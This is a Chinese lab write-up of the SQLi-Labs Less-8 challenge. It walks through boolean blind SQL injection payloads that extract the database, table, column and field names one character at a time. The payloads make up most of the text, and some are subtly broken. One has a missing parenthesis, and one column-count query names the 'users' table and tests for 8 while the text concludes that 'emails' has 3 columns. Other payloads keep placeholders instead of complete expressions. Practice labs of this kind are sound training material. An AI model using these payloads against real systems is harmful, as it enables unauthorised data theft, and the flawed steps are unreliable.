原理可参考:【网络安全】SQL盲注?这一篇就够了
判断注入类型
由下图,可排除数字型注入:

初步判定为单引号字符型注入:


查库名
判断数据库名称长度
?id=1' and length(database())>7 --+ 回显error
?id=1' and length(database()>6 --+ 回显正常
故数据库名称长度为7
获取数据库名称组成
判断第一个字符
?id=1' and ascii(substr(database(),1,1))>105 --+ 回显正常
?id=1' and ascii(substr(database(),1,1))=115 --+ 回显正常

故第一个字符为s
同理得到数据库名称为security
查表名
判断表个数
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database()) =4 --+

回显正常,说明有四个表。
获取表名称长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) =6 --+

得到第一个表名称长度为6
获取表名称组成
对数据库中第一个表名的第一个字符进行 ASCII 值的比较:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
回显正常,说明第一个字符为e

同理得到第一个表名称为emails
查列名
获取emails表的列数
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 --+
为3时回显正常,说明列数为3

获取列名长度
判断第一个列名长度
?id=1' and length(substr((select column_name from information_schema.columns where table_name= 'emails' limit 0,1),1))判断表达式 --+
得到第一个列名长度为2

获取emails表中第一个列名的第一个字符
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'emails' limit 0,1),1,1))判断表达式 --+

回显正常,故第一个列名的第一个字符为i
同理:第二个字符为d

所以emails表的其中一个列名为id
查字段
获取该列第一个字段长度
?id=1' and length(substr((select 列名 from 表名 limit 0,1),1))判断表达式 --+
故该列第一个字段长度为1
获取该字段中的第一个字符
?id=1' and ascii(substr((select 列名 from 表名 limit 0,1),1,1))判断表达式 --+
由下图可知第一个字符为 1 :

本文详述了SQLi-Labs Less-8关卡的解题过程,从判断注入类型到查库名、表名、列名及字段,通过SQL盲注技巧逐步解析数据库结构。
345

被折叠的 条评论
为什么被折叠?



